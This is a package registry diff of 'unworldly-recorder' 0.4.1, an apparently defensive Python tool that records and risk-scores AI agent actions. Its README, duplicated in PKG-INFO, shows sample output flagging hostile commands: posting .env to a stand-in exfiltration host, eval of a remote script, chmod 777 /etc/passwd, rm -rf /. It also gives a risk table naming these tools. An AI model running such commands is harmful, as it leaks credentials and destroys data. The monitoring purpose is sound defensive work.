unworldly-recorder 0.4.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (35) hide show
  1. unworldly_recorder-0.4.1/LICENSE +21 -0
  2. unworldly_recorder-0.4.1/PKG-INFO +263 -0
  3. unworldly_recorder-0.4.1/README.md +227 -0
  4. unworldly_recorder-0.4.1/pyproject.toml +85 -0
  5. unworldly_recorder-0.4.1/setup.cfg +4 -0
  6. unworldly_recorder-0.4.1/tests/test_agent_detect.py +180 -0
  7. unworldly_recorder-0.4.1/tests/test_command_monitor.py +43 -0
  8. unworldly_recorder-0.4.1/tests/test_command_risk.py +142 -0
  9. unworldly_recorder-0.4.1/tests/test_config.py +60 -0
  10. unworldly_recorder-0.4.1/tests/test_display.py +129 -0
  11. unworldly_recorder-0.4.1/tests/test_hipaa_risk.py +275 -0
  12. unworldly_recorder-0.4.1/tests/test_integrity.py +219 -0
  13. unworldly_recorder-0.4.1/tests/test_risk.py +207 -0
  14. unworldly_recorder-0.4.1/tests/test_session.py +171 -0
  15. unworldly_recorder-0.4.1/unworldly/__init__.py +64 -0
  16. unworldly_recorder-0.4.1/unworldly/agent_detect.py +189 -0
  17. unworldly_recorder-0.4.1/unworldly/cli.py +108 -0
  18. unworldly_recorder-0.4.1/unworldly/command_monitor.py +215 -0
  19. unworldly_recorder-0.4.1/unworldly/command_risk.py +166 -0
  20. unworldly_recorder-0.4.1/unworldly/config.py +55 -0
  21. unworldly_recorder-0.4.1/unworldly/display.py +220 -0
  22. unworldly_recorder-0.4.1/unworldly/hipaa_risk.py +235 -0
  23. unworldly_recorder-0.4.1/unworldly/integrity.py +136 -0
  24. unworldly_recorder-0.4.1/unworldly/replay.py +140 -0
  25. unworldly_recorder-0.4.1/unworldly/report.py +246 -0
  26. unworldly_recorder-0.4.1/unworldly/risk.py +142 -0
  27. unworldly_recorder-0.4.1/unworldly/session.py +142 -0
  28. unworldly_recorder-0.4.1/unworldly/types.py +207 -0
  29. unworldly_recorder-0.4.1/unworldly/watcher.py +210 -0
  30. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/PKG-INFO +263 -0
  31. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/SOURCES.txt +33 -0
  32. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/dependency_links.txt +1 -0
  33. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/entry_points.txt +2 -0
  34. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/requires.txt +9 -0
  35. unworldly_recorder-0.4.1/unworldly_recorder.egg-info/top_level.txt +1 -0
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Muhammad Dilawar Shafiq (Dilawar Gopang)
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,263 @@
1
+ Metadata-Version: 2.4
2
+ Name: unworldly-recorder
3
+ Version: 0.4.1
4
+ Summary: The flight recorder for AI agents. Record, replay, and audit everything AI agents do on your system.
5
+ Author-email: "Muhammad Dilawar Shafiq (Dilawar Gopang)" <dilawar.gopang@gmail.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/DilawarShafiq/unworldly
8
+ Project-URL: Repository, https://github.com/DilawarShafiq/unworldly.git
9
+ Project-URL: Issues, https://github.com/DilawarShafiq/unworldly/issues
10
+ Project-URL: Changelog, https://github.com/DilawarShafiq/unworldly/blob/master/CHANGELOG.md
11
+ Keywords: ai,agents,security,monitoring,audit,flight-recorder,black-box,devtools,cli,ai-safety,cybersecurity
12
+ Classifier: Development Status :: 4 - Beta
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Programming Language :: Python :: 3.10
17
+ Classifier: Programming Language :: Python :: 3.11
18
+ Classifier: Programming Language :: Python :: 3.12
19
+ Classifier: Programming Language :: Python :: 3.13
20
+ Classifier: Topic :: Security
21
+ Classifier: Topic :: Software Development :: Testing
22
+ Classifier: Topic :: System :: Monitoring
23
+ Classifier: Typing :: Typed
24
+ Requires-Python: >=3.10
25
+ Description-Content-Type: text/markdown
26
+ License-File: LICENSE
27
+ Requires-Dist: click>=8.1.0
28
+ Requires-Dist: watchdog>=3.0.0
29
+ Requires-Dist: rich>=13.0.0
30
+ Provides-Extra: dev
31
+ Requires-Dist: pytest>=7.0; extra == "dev"
32
+ Requires-Dist: pytest-cov>=4.0; extra == "dev"
33
+ Requires-Dist: mypy>=1.0; extra == "dev"
34
+ Requires-Dist: ruff>=0.9.0; extra == "dev"
35
+ Dynamic: license-file
36
+
37
+ # Unworldly
38
+
39
+ [![CI](https://github.com/DilawarShafiq/unworldly/actions/workflows/ci.yml/badge.svg)](https://github.com/DilawarShafiq/unworldly/actions/workflows/ci.yml)
40
+ [![PyPI version](https://img.shields.io/pypi/v/unworldly-recorder.svg)](https://pypi.org/project/unworldly-recorder/)
41
+ [![PyPI downloads](https://img.shields.io/pypi/dm/unworldly-recorder.svg)](https://pypi.org/project/unworldly-recorder/)
42
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
43
+ [![ISO 42001](https://img.shields.io/badge/ISO_42001-Compliant-blue.svg)](https://www.iso.org/standard/81230.html)
44
+ [![Python](https://img.shields.io/badge/Python-3.10+-blue.svg)](https://www.python.org/)
45
+
46
+ **The flight recorder for AI agents.** Records everything AI agents do on your system — file changes AND shell commands — replays sessions like a DVR, flags dangerous behavior in real-time, and produces tamper-proof, ISO 42001-compliant audit trails.
47
+
48
+ > You wouldn't run code without logs. Why are you running AI agents without a black box?
49
+
50
+ ```bash
51
+ pip install unworldly-recorder
52
+ unworldly watch
53
+ # That's it. Every file change and shell command is now recorded.
54
+ ```
55
+
56
+ ## Why Unworldly?
57
+
58
+ AI agents are going autonomous. They edit files, run commands, install packages, access credentials — and **nobody is watching**. You finish a session and have no idea what actually happened. That's insane.
59
+
60
+ **Unworldly watches everything so you don't have to.**
61
+
62
+ - Works with **any** agent — Claude Code, Cursor, Devin, Copilot, Windsurf, Aider, OpenClaw, Cline
63
+ - **Zero interference** — passive monitoring, never slows down your agent
64
+ - **Local-first** — your data never leaves your machine. Zero cloud. Zero telemetry
65
+ - **Tamper-proof** — SHA-256 hash chain on every event. If someone edits the logs, the chain breaks
66
+ - **ISO 42001 compliant** — the audit trail standard for AI management systems
67
+
68
+ ## Quick Start
69
+
70
+ ```bash
71
+ # Install
72
+ pip install unworldly-recorder
73
+
74
+ # Start recording (run this BEFORE your AI agent)
75
+ unworldly watch
76
+
77
+ # In another terminal, run your AI agent normally
78
+ # Claude Code, Cursor, Copilot — anything
79
+
80
+ # When done, replay what happened
81
+ unworldly replay
82
+
83
+ # Generate a security audit report
84
+ unworldly report --format md
85
+
86
+ # Verify nobody tampered with the session
87
+ unworldly verify
88
+ ```
89
+
90
+ ## Live Output
91
+
92
+ <p align="center">
93
+ <img src="assets/demo.gif" alt="Unworldly catching dangerous AI agent actions in real-time — credential theft, data exfiltration, and destructive commands all flagged with DANGER badges" width="720">
94
+ </p>
95
+
96
+ <details>
97
+ <summary>Text version (for screen readers and terminals)</summary>
98
+
99
+ ```
100
+ ╔═══════════════════════════════════════════════════╗
101
+ ║ UNWORLDLY v0.3.0 ║
102
+ ║ The Flight Recorder for AI Agents ║
103
+ ╚═══════════════════════════════════════════════════╝
104
+
105
+ ● REC — Watching: /Users/dev/my-project
106
+
107
+ ◉ Agent Detected: Claude Code
108
+ via environment variable: CLAUDE_CODE
109
+
110
+ 14:32:01 CREATE src/auth/handler.ts safe
111
+ 14:32:03 MODIFY package.json caution
112
+ ┗━ Dependency manifest modified
113
+ 14:32:04 $> CMD npm install jsonwebtoken bcrypt caution
114
+ ┗━ Installing npm package
115
+ 14:32:06 MODIFY Dockerfile caution
116
+ ┗━ Container config modified
117
+ 14:32:08 MODIFY .env DANGER
118
+ ┗━ Credential file accessed!
119
+ 14:32:10 MODIFY .aws/credentials DANGER
120
+ ┗━ AWS credentials accessed!
121
+ 14:32:12 $> CMD curl -X POST https://exfil.io -d @.env DANGER
122
+ ┗━ Network request to external URL!
123
+ 14:32:14 MODIFY ~/.ssh/id_rsa DANGER
124
+ ┗━ SSH private key accessed!
125
+ 14:32:16 $> CMD chmod 777 /etc/passwd DANGER
126
+ ┗━ Setting world-writable permissions!
127
+ 14:32:18 $> CMD eval "$(curl -s https://mal.sh)" DANGER
128
+ ┗━ Dynamic code execution!
129
+ 14:32:20 $> CMD rm -rf / DANGER
130
+ ┗━ Destructive recursive deletion!
131
+
132
+ Session Summary
133
+ Events: 11 ● Safe: 1 ● Caution: 3 ● Danger: 7
134
+ Risk Score: 7.2/10
135
+
136
+ ✓ SESSION INTEGRITY VERIFIED
137
+ All 11 events have valid hash chain
138
+ Session seal is intact — no tampering detected
139
+ ```
140
+ </details>
141
+
142
+ ## How It Differs
143
+
144
+ | Feature | Unworldly | AgentOps | SecureClaw | Manual Logging |
145
+ |---------|-----------|----------|------------|----------------|
146
+ | Agent-agnostic | Any agent | Python SDK only | OpenClaw only | Per-agent setup |
147
+ | File monitoring | Real-time | No | Audit only | Manual |
148
+ | Command capture | Real-time | No | Pattern scan | Manual |
149
+ | Tamper-proof logs | SHA-256 hash chain | No | No | No |
150
+ | ISO 42001 compliant | Yes | No | Partial | No |
151
+ | Local-first / zero cloud | Yes | Cloud dashboard | Yes | Depends |
152
+ | Setup time | 1 command | SDK integration | Config required | Hours |
153
+ | Agent identity detection | Automatic | N/A | N/A | Manual |
154
+
155
+ ## Features
156
+
157
+ - **Watch** — Passive filesystem + process monitoring. Zero interference with the agent
158
+ - **Command Detection** — Captures shell commands (npm install, curl, rm -rf, sudo) alongside file changes
159
+ - **Agent Identity** — Auto-detects which AI agent is running (8 agents supported)
160
+ - **Risk Engine** — Scores every action: credential access, destructive commands, network calls, mass deletions
161
+ - **Tamper-Proof Logs** — SHA-256 hash chain on every event. Modify one event and the chain breaks
162
+ - **Verify** — Cryptographic integrity verification. Exit code tells you if the session was tampered with
163
+ - **Replay** — Step through every action with a color-coded terminal UI
164
+ - **Report** — Generate terminal or markdown security reports with integrity verification
165
+ - **Configurable** — Custom risk patterns via `.unworldly/config.json` allowlist/blocklist
166
+ - **Cross-platform** — macOS, Linux, Windows. Runs anywhere Python runs
167
+
168
+ ## ISO 42001 Compliance
169
+
170
+ Unworldly implements key controls from the [ISO 42001 AI Management System](https://www.iso.org/standard/81230.html) standard:
171
+
172
+ | ISO 42001 Control | What It Requires | Unworldly Implementation |
173
+ |-------------------|------------------|--------------------------|
174
+ | **A.3.2** Roles & accountability | Know WHO is acting | Auto-detects agent identity |
175
+ | **A.6.2.8** Event logging | Defensible audit logs | SHA-256 hash-chained events |
176
+ | **A.8** Transparency | Observable AI behavior | Full session replay + reports |
177
+ | **A.9** Accountability | Tamper-evident records | Cryptographic verify command |
178
+
179
+ ```bash
180
+ # Verify session integrity — exit 0 = valid, exit 1 = tampered
181
+ unworldly verify
182
+
183
+ Integrity Verification
184
+ ────────────────────────────
185
+
186
+ ✓ SESSION INTEGRITY VERIFIED
187
+ All 47 events have valid hash chain
188
+ Session seal is intact — no tampering detected
189
+ ```
190
+
191
+ ## Agent Detection
192
+
193
+ Automatically identifies the AI agent modifying your system:
194
+
195
+ | Agent | Detection Method |
196
+ |-------|-----------------|
197
+ | Claude Code | `CLAUDE_CODE` env, `claude` process |
198
+ | Cursor | `CURSOR_SESSION` env, `Cursor` process |
199
+ | GitHub Copilot | `GITHUB_COPILOT` env |
200
+ | Windsurf | `WINDSURF_SESSION` env |
201
+ | Devin | `DEVIN_SESSION` env |
202
+ | Aider | `AIDER_MODEL` env |
203
+ | OpenClaw | `OPENCLAW_SESSION` env |
204
+ | Cline | `CLINE_SESSION` env |
205
+
206
+ Don't see your agent? [Open an issue](https://github.com/DilawarShafiq/unworldly/issues/new) or add it yourself — it's one entry in `unworldly/agent_detect.py`.
207
+
208
+ ## Risk Detection
209
+
210
+ | Pattern | Risk Level | Example |
211
+ |---------|-----------|---------|
212
+ | Normal file edits | Safe | Creating/editing source files |
213
+ | Standard commands | Safe | `git add`, `npm test`, `ls` |
214
+ | Dependency changes | Caution | `npm install`, modifying package.json |
215
+ | Config file access | Caution | Editing tsconfig, webpack config |
216
+ | Package installs | Caution | `npm install`, `pip install`, `brew install` |
217
+ | Credential access | **DANGER** | Reading/writing .env, keys, tokens |
218
+ | Destructive commands | **DANGER** | `rm -rf`, `sudo`, `git reset --hard` |
219
+ | Network requests | **DANGER** | `curl`, `wget` to external URLs |
220
+ | Elevated privileges | **DANGER** | `sudo`, `chmod 777`, `kill -9` |
221
+
222
+ ## Custom Risk Patterns
223
+
224
+ ```json
225
+ {
226
+ "commands": {
227
+ "allowlist": [
228
+ { "pattern": "my-internal-tool", "risk": "safe", "reason": "Trusted internal tool" }
229
+ ],
230
+ "blocklist": [
231
+ { "pattern": "sketchy-package", "risk": "danger", "reason": "Known vulnerable" }
232
+ ]
233
+ }
234
+ }
235
+ ```
236
+
237
+ Save as `.unworldly/config.json` in your project root.
238
+
239
+ ## Roadmap
240
+
241
+ - [ ] **MCP Server** — Expose Unworldly as a Model Context Protocol tool
242
+ - [ ] **Web Dashboard** — Browser-based session viewer with search and filtering
243
+ - [ ] **CI/CD Integration** — GitHub Action to audit AI-generated PRs
244
+ - [x] **PHI Detection** — HIPAA-specific patterns for healthcare environments (`--hipaa`)
245
+ - [ ] **Cost Tracking** — Estimate compute cost of agent sessions
246
+ - [ ] **Plugin System** — Custom analyzers and reporters
247
+ - [ ] **Real-time Alerts** — Webhook/Slack notifications on danger events
248
+
249
+ ## Who Is This For?
250
+
251
+ - **Developers** running AI agents who want to know what actually happened
252
+ - **Security teams** auditing AI agent behavior in enterprise environments
253
+ - **Compliance officers** needing ISO 42001 / HIPAA audit trails
254
+ - **Open-source maintainers** reviewing AI-generated pull requests
255
+ - **Anyone** who believes AI agents should be observable and accountable
256
+
257
+ ## Contributing
258
+
259
+ See [CONTRIBUTING.md](CONTRIBUTING.md). We welcome PRs — especially new agent detections, risk patterns, and platform fixes.
260
+
261
+ ## License
262
+
263
+ MIT — see [LICENSE](LICENSE).
@@ -0,0 +1,227 @@
1
+ # Unworldly
2
+
3
+ [![CI](https://github.com/DilawarShafiq/unworldly/actions/workflows/ci.yml/badge.svg)](https://github.com/DilawarShafiq/unworldly/actions/workflows/ci.yml)
4
+ [![PyPI version](https://img.shields.io/pypi/v/unworldly-recorder.svg)](https://pypi.org/project/unworldly-recorder/)
5
+ [![PyPI downloads](https://img.shields.io/pypi/dm/unworldly-recorder.svg)](https://pypi.org/project/unworldly-recorder/)
6
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
7
+ [![ISO 42001](https://img.shields.io/badge/ISO_42001-Compliant-blue.svg)](https://www.iso.org/standard/81230.html)
8
+ [![Python](https://img.shields.io/badge/Python-3.10+-blue.svg)](https://www.python.org/)
9
+
10
+ **The flight recorder for AI agents.** Records everything AI agents do on your system — file changes AND shell commands — replays sessions like a DVR, flags dangerous behavior in real-time, and produces tamper-proof, ISO 42001-compliant audit trails.
11
+
12
+ > You wouldn't run code without logs. Why are you running AI agents without a black box?
13
+
14
+ ```bash
15
+ pip install unworldly-recorder
16
+ unworldly watch
17
+ # That's it. Every file change and shell command is now recorded.
18
+ ```
19
+
20
+ ## Why Unworldly?
21
+
22
+ AI agents are going autonomous. They edit files, run commands, install packages, access credentials — and **nobody is watching**. You finish a session and have no idea what actually happened. That's insane.
23
+
24
+ **Unworldly watches everything so you don't have to.**
25
+
26
+ - Works with **any** agent — Claude Code, Cursor, Devin, Copilot, Windsurf, Aider, OpenClaw, Cline
27
+ - **Zero interference** — passive monitoring, never slows down your agent
28
+ - **Local-first** — your data never leaves your machine. Zero cloud. Zero telemetry
29
+ - **Tamper-proof** — SHA-256 hash chain on every event. If someone edits the logs, the chain breaks
30
+ - **ISO 42001 compliant** — the audit trail standard for AI management systems
31
+
32
+ ## Quick Start
33
+
34
+ ```bash
35
+ # Install
36
+ pip install unworldly-recorder
37
+
38
+ # Start recording (run this BEFORE your AI agent)
39
+ unworldly watch
40
+
41
+ # In another terminal, run your AI agent normally
42
+ # Claude Code, Cursor, Copilot — anything
43
+
44
+ # When done, replay what happened
45
+ unworldly replay
46
+
47
+ # Generate a security audit report
48
+ unworldly report --format md
49
+
50
+ # Verify nobody tampered with the session
51
+ unworldly verify
52
+ ```
53
+
54
+ ## Live Output
55
+
56
+ <p align="center">
57
+ <img src="assets/demo.gif" alt="Unworldly catching dangerous AI agent actions in real-time — credential theft, data exfiltration, and destructive commands all flagged with DANGER badges" width="720">
58
+ </p>
59
+
60
+ <details>
61
+ <summary>Text version (for screen readers and terminals)</summary>
62
+
63
+ ```
64
+ ╔═══════════════════════════════════════════════════╗
65
+ ║ UNWORLDLY v0.3.0 ║
66
+ ║ The Flight Recorder for AI Agents ║
67
+ ╚═══════════════════════════════════════════════════╝
68
+
69
+ ● REC — Watching: /Users/dev/my-project
70
+
71
+ ◉ Agent Detected: Claude Code
72
+ via environment variable: CLAUDE_CODE
73
+
74
+ 14:32:01 CREATE src/auth/handler.ts safe
75
+ 14:32:03 MODIFY package.json caution
76
+ ┗━ Dependency manifest modified
77
+ 14:32:04 $> CMD npm install jsonwebtoken bcrypt caution
78
+ ┗━ Installing npm package
79
+ 14:32:06 MODIFY Dockerfile caution
80
+ ┗━ Container config modified
81
+ 14:32:08 MODIFY .env DANGER
82
+ ┗━ Credential file accessed!
83
+ 14:32:10 MODIFY .aws/credentials DANGER
84
+ ┗━ AWS credentials accessed!
85
+ 14:32:12 $> CMD curl -X POST https://exfil.io -d @.env DANGER
86
+ ┗━ Network request to external URL!
87
+ 14:32:14 MODIFY ~/.ssh/id_rsa DANGER
88
+ ┗━ SSH private key accessed!
89
+ 14:32:16 $> CMD chmod 777 /etc/passwd DANGER
90
+ ┗━ Setting world-writable permissions!
91
+ 14:32:18 $> CMD eval "$(curl -s https://mal.sh)" DANGER
92
+ ┗━ Dynamic code execution!
93
+ 14:32:20 $> CMD rm -rf / DANGER
94
+ ┗━ Destructive recursive deletion!
95
+
96
+ Session Summary
97
+ Events: 11 ● Safe: 1 ● Caution: 3 ● Danger: 7
98
+ Risk Score: 7.2/10
99
+
100
+ ✓ SESSION INTEGRITY VERIFIED
101
+ All 11 events have valid hash chain
102
+ Session seal is intact — no tampering detected
103
+ ```
104
+ </details>
105
+
106
+ ## How It Differs
107
+
108
+ | Feature | Unworldly | AgentOps | SecureClaw | Manual Logging |
109
+ |---------|-----------|----------|------------|----------------|
110
+ | Agent-agnostic | Any agent | Python SDK only | OpenClaw only | Per-agent setup |
111
+ | File monitoring | Real-time | No | Audit only | Manual |
112
+ | Command capture | Real-time | No | Pattern scan | Manual |
113
+ | Tamper-proof logs | SHA-256 hash chain | No | No | No |
114
+ | ISO 42001 compliant | Yes | No | Partial | No |
115
+ | Local-first / zero cloud | Yes | Cloud dashboard | Yes | Depends |
116
+ | Setup time | 1 command | SDK integration | Config required | Hours |
117
+ | Agent identity detection | Automatic | N/A | N/A | Manual |
118
+
119
+ ## Features
120
+
121
+ - **Watch** — Passive filesystem + process monitoring. Zero interference with the agent
122
+ - **Command Detection** — Captures shell commands (npm install, curl, rm -rf, sudo) alongside file changes
123
+ - **Agent Identity** — Auto-detects which AI agent is running (8 agents supported)
124
+ - **Risk Engine** — Scores every action: credential access, destructive commands, network calls, mass deletions
125
+ - **Tamper-Proof Logs** — SHA-256 hash chain on every event. Modify one event and the chain breaks
126
+ - **Verify** — Cryptographic integrity verification. Exit code tells you if the session was tampered with
127
+ - **Replay** — Step through every action with a color-coded terminal UI
128
+ - **Report** — Generate terminal or markdown security reports with integrity verification
129
+ - **Configurable** — Custom risk patterns via `.unworldly/config.json` allowlist/blocklist
130
+ - **Cross-platform** — macOS, Linux, Windows. Runs anywhere Python runs
131
+
132
+ ## ISO 42001 Compliance
133
+
134
+ Unworldly implements key controls from the [ISO 42001 AI Management System](https://www.iso.org/standard/81230.html) standard:
135
+
136
+ | ISO 42001 Control | What It Requires | Unworldly Implementation |
137
+ |-------------------|------------------|--------------------------|
138
+ | **A.3.2** Roles & accountability | Know WHO is acting | Auto-detects agent identity |
139
+ | **A.6.2.8** Event logging | Defensible audit logs | SHA-256 hash-chained events |
140
+ | **A.8** Transparency | Observable AI behavior | Full session replay + reports |
141
+ | **A.9** Accountability | Tamper-evident records | Cryptographic verify command |
142
+
143
+ ```bash
144
+ # Verify session integrity — exit 0 = valid, exit 1 = tampered
145
+ unworldly verify
146
+
147
+ Integrity Verification
148
+ ────────────────────────────
149
+
150
+ ✓ SESSION INTEGRITY VERIFIED
151
+ All 47 events have valid hash chain
152
+ Session seal is intact — no tampering detected
153
+ ```
154
+
155
+ ## Agent Detection
156
+
157
+ Automatically identifies the AI agent modifying your system:
158
+
159
+ | Agent | Detection Method |
160
+ |-------|-----------------|
161
+ | Claude Code | `CLAUDE_CODE` env, `claude` process |
162
+ | Cursor | `CURSOR_SESSION` env, `Cursor` process |
163
+ | GitHub Copilot | `GITHUB_COPILOT` env |
164
+ | Windsurf | `WINDSURF_SESSION` env |
165
+ | Devin | `DEVIN_SESSION` env |
166
+ | Aider | `AIDER_MODEL` env |
167
+ | OpenClaw | `OPENCLAW_SESSION` env |
168
+ | Cline | `CLINE_SESSION` env |
169
+
170
+ Don't see your agent? [Open an issue](https://github.com/DilawarShafiq/unworldly/issues/new) or add it yourself — it's one entry in `unworldly/agent_detect.py`.
171
+
172
+ ## Risk Detection
173
+
174
+ | Pattern | Risk Level | Example |
175
+ |---------|-----------|---------|
176
+ | Normal file edits | Safe | Creating/editing source files |
177
+ | Standard commands | Safe | `git add`, `npm test`, `ls` |
178
+ | Dependency changes | Caution | `npm install`, modifying package.json |
179
+ | Config file access | Caution | Editing tsconfig, webpack config |
180
+ | Package installs | Caution | `npm install`, `pip install`, `brew install` |
181
+ | Credential access | **DANGER** | Reading/writing .env, keys, tokens |
182
+ | Destructive commands | **DANGER** | `rm -rf`, `sudo`, `git reset --hard` |
183
+ | Network requests | **DANGER** | `curl`, `wget` to external URLs |
184
+ | Elevated privileges | **DANGER** | `sudo`, `chmod 777`, `kill -9` |
185
+
186
+ ## Custom Risk Patterns
187
+
188
+ ```json
189
+ {
190
+ "commands": {
191
+ "allowlist": [
192
+ { "pattern": "my-internal-tool", "risk": "safe", "reason": "Trusted internal tool" }
193
+ ],
194
+ "blocklist": [
195
+ { "pattern": "sketchy-package", "risk": "danger", "reason": "Known vulnerable" }
196
+ ]
197
+ }
198
+ }
199
+ ```
200
+
201
+ Save as `.unworldly/config.json` in your project root.
202
+
203
+ ## Roadmap
204
+
205
+ - [ ] **MCP Server** — Expose Unworldly as a Model Context Protocol tool
206
+ - [ ] **Web Dashboard** — Browser-based session viewer with search and filtering
207
+ - [ ] **CI/CD Integration** — GitHub Action to audit AI-generated PRs
208
+ - [x] **PHI Detection** — HIPAA-specific patterns for healthcare environments (`--hipaa`)
209
+ - [ ] **Cost Tracking** — Estimate compute cost of agent sessions
210
+ - [ ] **Plugin System** — Custom analyzers and reporters
211
+ - [ ] **Real-time Alerts** — Webhook/Slack notifications on danger events
212
+
213
+ ## Who Is This For?
214
+
215
+ - **Developers** running AI agents who want to know what actually happened
216
+ - **Security teams** auditing AI agent behavior in enterprise environments
217
+ - **Compliance officers** needing ISO 42001 / HIPAA audit trails
218
+ - **Open-source maintainers** reviewing AI-generated pull requests
219
+ - **Anyone** who believes AI agents should be observable and accountable
220
+
221
+ ## Contributing
222
+
223
+ See [CONTRIBUTING.md](CONTRIBUTING.md). We welcome PRs — especially new agent detections, risk patterns, and platform fixes.
224
+
225
+ ## License
226
+
227
+ MIT — see [LICENSE](LICENSE).
@@ -0,0 +1,85 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "unworldly-recorder"
7
+ version = "0.4.1"
8
+ description = "The flight recorder for AI agents. Record, replay, and audit everything AI agents do on your system."
9
+ readme = "README.md"
10
+ license = {text = "MIT"}
11
+ requires-python = ">=3.10"
12
+ authors = [
13
+ {name = "Muhammad Dilawar Shafiq (Dilawar Gopang)", email = "dilawar.gopang@gmail.com"},
14
+ ]
15
+ keywords = [
16
+ "ai", "agents", "security", "monitoring", "audit",
17
+ "flight-recorder", "black-box", "devtools", "cli",
18
+ "ai-safety", "cybersecurity",
19
+ ]
20
+ classifiers = [
21
+ "Development Status :: 4 - Beta",
22
+ "Intended Audience :: Developers",
23
+ "License :: OSI Approved :: MIT License",
24
+ "Programming Language :: Python :: 3",
25
+ "Programming Language :: Python :: 3.10",
26
+ "Programming Language :: Python :: 3.11",
27
+ "Programming Language :: Python :: 3.12",
28
+ "Programming Language :: Python :: 3.13",
29
+ "Topic :: Security",
30
+ "Topic :: Software Development :: Testing",
31
+ "Topic :: System :: Monitoring",
32
+ "Typing :: Typed",
33
+ ]
34
+ dependencies = [
35
+ "click>=8.1.0",
36
+ "watchdog>=3.0.0",
37
+ "rich>=13.0.0",
38
+ ]
39
+
40
+ [project.optional-dependencies]
41
+ dev = [
42
+ "pytest>=7.0",
43
+ "pytest-cov>=4.0",
44
+ "mypy>=1.0",
45
+ "ruff>=0.9.0",
46
+ ]
47
+
48
+ [project.urls]
49
+ Homepage = "https://github.com/DilawarShafiq/unworldly"
50
+ Repository = "https://github.com/DilawarShafiq/unworldly.git"
51
+ Issues = "https://github.com/DilawarShafiq/unworldly/issues"
52
+ Changelog = "https://github.com/DilawarShafiq/unworldly/blob/master/CHANGELOG.md"
53
+
54
+ [project.scripts]
55
+ unworldly = "unworldly.cli:main"
56
+
57
+ [tool.setuptools.packages.find]
58
+ include = ["unworldly*"]
59
+
60
+ [tool.pytest.ini_options]
61
+ testpaths = ["tests"]
62
+ pythonpath = ["."]
63
+
64
+ [tool.mypy]
65
+ python_version = "3.10"
66
+ strict = true
67
+ warn_return_any = true
68
+ warn_unused_configs = true
69
+
70
+ [tool.ruff]
71
+ target-version = "py310"
72
+ line-length = 120
73
+
74
+ [tool.ruff.lint]
75
+ select = ["E", "F", "W", "I", "UP", "B", "SIM"]
76
+
77
+ [tool.ruff.format]
78
+ quote-style = "double"
79
+
80
+ [tool.coverage.run]
81
+ source = ["unworldly"]
82
+
83
+ [tool.coverage.report]
84
+ show_missing = true
85
+ skip_covered = true
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+